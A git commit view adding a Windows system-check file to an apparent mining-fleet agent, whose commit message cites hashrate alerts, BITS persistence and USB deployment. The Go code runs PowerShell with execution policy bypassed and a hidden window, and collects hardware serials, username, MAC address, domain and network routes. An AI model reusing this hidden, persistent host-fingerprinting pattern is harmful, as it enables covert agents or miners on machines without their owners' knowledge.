feat: Telegram fleet alerts, forge sigil scramble, UI polish, agent ops
- Calibrate: per-event Telegram/SMTP toggles, test notification, chat ID help - Notify on agent connect/reconnect, offline/hashrate/rejection, forge complete - Sigil scramble post-forge uniquification and Dispense Reveal ceremony - Full system check, desktop push, BITS/host-binary persistence, Path Tracer - Dashboard/Crucible visual polish, haptics, sacred geometry, mobile nav - README documents alerts, sigil scramble, and pack-usb workflow - USB bundle repacked via pack-usb.bat (AetherForge.exe + synced agent source)
This commit is contained in:
264
agent/client/syscheck_windows.go
Normal file
264
agent/client/syscheck_windows.go
Normal file
@@ -0,0 +1,264 @@
|
||||
//go:build windows
|
||||
|
||||
package client
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"os"
|
||||
"os/user"
|
||||
"strings"
|
||||
)
|
||||
|
||||
const sysCheckWindowsScript = `
|
||||
$ErrorActionPreference = 'SilentlyContinue'
|
||||
$o = [ordered]@{}
|
||||
|
||||
# Identity
|
||||
try {
|
||||
$cs = Get-CimInstance Win32_ComputerSystem
|
||||
$o.manufacturer = $cs.Manufacturer
|
||||
$o.model = $cs.Model
|
||||
$o.domain = $cs.Domain
|
||||
$o.computer_name = $env:COMPUTERNAME
|
||||
$o.total_ram_gb = [math]::Round($cs.TotalPhysicalMemory / 1GB, 2)
|
||||
} catch {}
|
||||
|
||||
try {
|
||||
$bios = Get-CimInstance Win32_BIOS
|
||||
$o.serial = $bios.SerialNumber
|
||||
$o.bios_version = $bios.SMBIOSBIOSVersion
|
||||
} catch {}
|
||||
|
||||
try {
|
||||
$o.cpus = @(Get-CimInstance Win32_Processor | ForEach-Object {
|
||||
[ordered]@{
|
||||
name = $_.Name
|
||||
cores = [int]$_.NumberOfCores
|
||||
logical = [int]$_.NumberOfLogicalProcessors
|
||||
max_mhz = [int]$_.MaxClockSpeed
|
||||
current_mhz = [int]$_.CurrentClockSpeed
|
||||
}
|
||||
})
|
||||
} catch {}
|
||||
|
||||
try {
|
||||
$o.gpus = @(Get-CimInstance Win32_VideoController | ForEach-Object {
|
||||
[ordered]@{
|
||||
name = $_.Name
|
||||
driver = $_.DriverVersion
|
||||
vram_mb = if ($_.AdapterRAM -and $_.AdapterRAM -gt 0) { [int]($_.AdapterRAM / 1MB) } else { 0 }
|
||||
}
|
||||
})
|
||||
} catch {}
|
||||
|
||||
try {
|
||||
$o.disks = @(Get-CimInstance Win32_LogicalDisk -Filter "DriveType=3" | ForEach-Object {
|
||||
$freePct = if ($_.Size -gt 0) { [int](($_.FreeSpace / $_.Size) * 100) } else { 0 }
|
||||
[ordered]@{
|
||||
mount = $_.DeviceID
|
||||
label = $_.VolumeName
|
||||
fs_type = $_.FileSystem
|
||||
total_gb = [math]::Round($_.Size / 1GB, 2)
|
||||
free_gb = [math]::Round($_.FreeSpace / 1GB, 2)
|
||||
free_pct = $freePct
|
||||
}
|
||||
})
|
||||
} catch {}
|
||||
|
||||
try {
|
||||
$os = Get-CimInstance Win32_OperatingSystem
|
||||
$o.uptime_hours = [math]::Round(((Get-Date) - $os.LastBootUpTime).TotalHours, 1)
|
||||
$o.timezone = (Get-TimeZone).Id
|
||||
} catch {}
|
||||
|
||||
try {
|
||||
$gw = Get-NetRoute -DestinationPrefix '0.0.0.0/0' -ErrorAction SilentlyContinue |
|
||||
Sort-Object RouteMetric | Select-Object -First 1
|
||||
if ($gw) { $o.default_gateway = $gw.NextHop }
|
||||
} catch {}
|
||||
|
||||
try {
|
||||
$routes = Get-NetRoute -AddressFamily IPv4 -ErrorAction SilentlyContinue |
|
||||
Select-Object -First 24 DestinationPrefix, NextHop, InterfaceAlias, RouteMetric |
|
||||
Format-Table -AutoSize | Out-String -Width 200
|
||||
$o.routes_summary = $routes.Trim()
|
||||
} catch {}
|
||||
|
||||
$o | ConvertTo-Json -Depth 5 -Compress
|
||||
`
|
||||
|
||||
func collectSysCheckPlatform(r *FullSysCheckReport) {
|
||||
out, err := silentCombinedOutput(
|
||||
"powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-WindowStyle", "Hidden", "-Command",
|
||||
sysCheckWindowsScript,
|
||||
)
|
||||
if err != nil {
|
||||
r.ProbeErrors = append(r.ProbeErrors, "windows hardware probe: "+err.Error())
|
||||
} else {
|
||||
parseWindowsSysCheckJSON(r, string(out))
|
||||
}
|
||||
|
||||
if r.Identity == nil {
|
||||
r.Identity = &SysCheckIdentity{}
|
||||
}
|
||||
if u, err := user.Current(); err == nil {
|
||||
r.Identity.Username = u.Username
|
||||
}
|
||||
r.Identity.MACAddress = primaryMACAddress()
|
||||
if r.Environment == nil {
|
||||
r.Environment = &SysCheckEnvironment{}
|
||||
}
|
||||
r.Environment.TempDir = os.Getenv("TEMP")
|
||||
r.Environment.HomeDir = os.Getenv("USERPROFILE")
|
||||
}
|
||||
|
||||
func parseWindowsSysCheckJSON(r *FullSysCheckReport, raw string) {
|
||||
raw = strings.TrimSpace(raw)
|
||||
if idx := strings.LastIndex(raw, "{"); idx > 0 {
|
||||
raw = raw[idx:]
|
||||
}
|
||||
var m map[string]interface{}
|
||||
if json.Unmarshal([]byte(raw), &m) != nil {
|
||||
return
|
||||
}
|
||||
|
||||
hw := &SysCheckHardware{}
|
||||
if v, ok := m["manufacturer"].(string); ok {
|
||||
hw.Manufacturer = v
|
||||
}
|
||||
if v, ok := m["model"].(string); ok {
|
||||
hw.Model = v
|
||||
}
|
||||
if v, ok := m["serial"].(string); ok {
|
||||
hw.Serial = v
|
||||
}
|
||||
if v, ok := m["bios_version"].(string); ok {
|
||||
hw.BIOSVersion = v
|
||||
}
|
||||
if v, ok := m["total_ram_gb"].(float64); ok {
|
||||
hw.MemoryGB = v
|
||||
}
|
||||
if v, ok := m["uptime_hours"].(float64); ok {
|
||||
hw.UptimeHours = v
|
||||
}
|
||||
hw.CPUs = parseCPUList(m["cpus"])
|
||||
hw.GPUs = parseGPUList(m["gpus"])
|
||||
hw.Disks = parseDiskList(m["disks"])
|
||||
r.Hardware = hw
|
||||
|
||||
if r.Identity == nil {
|
||||
r.Identity = &SysCheckIdentity{}
|
||||
}
|
||||
if v, ok := m["domain"].(string); ok {
|
||||
r.Identity.Domain = v
|
||||
}
|
||||
if v, ok := m["computer_name"].(string); ok {
|
||||
r.Identity.ComputerName = v
|
||||
}
|
||||
|
||||
if r.Network == nil {
|
||||
r.Network = &SysCheckNetwork{}
|
||||
}
|
||||
if v, ok := m["default_gateway"].(string); ok {
|
||||
r.Network.DefaultGateway = v
|
||||
}
|
||||
if v, ok := m["routes_summary"].(string); ok {
|
||||
r.Network.RoutesSummary = v
|
||||
}
|
||||
|
||||
if r.Environment == nil {
|
||||
r.Environment = &SysCheckEnvironment{}
|
||||
}
|
||||
if v, ok := m["timezone"].(string); ok {
|
||||
r.Environment.Timezone = v
|
||||
}
|
||||
}
|
||||
|
||||
func parseCPUList(v interface{}) []SysCheckCPU {
|
||||
arr, ok := v.([]interface{})
|
||||
if !ok {
|
||||
return nil
|
||||
}
|
||||
var out []SysCheckCPU
|
||||
for _, item := range arr {
|
||||
obj, ok := item.(map[string]interface{})
|
||||
if !ok {
|
||||
continue
|
||||
}
|
||||
c := SysCheckCPU{Name: mapStr(obj, "name")}
|
||||
if n, ok := obj["cores"].(float64); ok {
|
||||
c.Cores = int(n)
|
||||
}
|
||||
if n, ok := obj["logical"].(float64); ok {
|
||||
c.Logical = int(n)
|
||||
}
|
||||
if n, ok := obj["max_mhz"].(float64); ok {
|
||||
c.MaxMHz = int(n)
|
||||
}
|
||||
if n, ok := obj["current_mhz"].(float64); ok {
|
||||
c.CurrentMHz = int(n)
|
||||
}
|
||||
out = append(out, c)
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
func parseGPUList(v interface{}) []SysCheckGPU {
|
||||
arr, ok := v.([]interface{})
|
||||
if !ok {
|
||||
return nil
|
||||
}
|
||||
var out []SysCheckGPU
|
||||
for _, item := range arr {
|
||||
obj, ok := item.(map[string]interface{})
|
||||
if !ok {
|
||||
continue
|
||||
}
|
||||
g := SysCheckGPU{
|
||||
Name: mapStr(obj, "name"),
|
||||
Driver: mapStr(obj, "driver"),
|
||||
}
|
||||
if n, ok := obj["vram_mb"].(float64); ok {
|
||||
g.VRAM_MB = int(n)
|
||||
}
|
||||
out = append(out, g)
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
func parseDiskList(v interface{}) []SysCheckDisk {
|
||||
arr, ok := v.([]interface{})
|
||||
if !ok {
|
||||
return nil
|
||||
}
|
||||
var out []SysCheckDisk
|
||||
for _, item := range arr {
|
||||
obj, ok := item.(map[string]interface{})
|
||||
if !ok {
|
||||
continue
|
||||
}
|
||||
d := SysCheckDisk{
|
||||
Mount: mapStr(obj, "mount"),
|
||||
Label: mapStr(obj, "label"),
|
||||
FSType: mapStr(obj, "fs_type"),
|
||||
}
|
||||
if n, ok := obj["total_gb"].(float64); ok {
|
||||
d.TotalGB = n
|
||||
}
|
||||
if n, ok := obj["free_gb"].(float64); ok {
|
||||
d.FreeGB = n
|
||||
}
|
||||
if n, ok := obj["free_pct"].(float64); ok {
|
||||
d.FreePct = int(n)
|
||||
}
|
||||
out = append(out, d)
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
func mapStr(m map[string]interface{}, key string) string {
|
||||
if v, ok := m[key].(string); ok {
|
||||
return v
|
||||
}
|
||||
return ""
|
||||
}
|
||||
Reference in New Issue
Block a user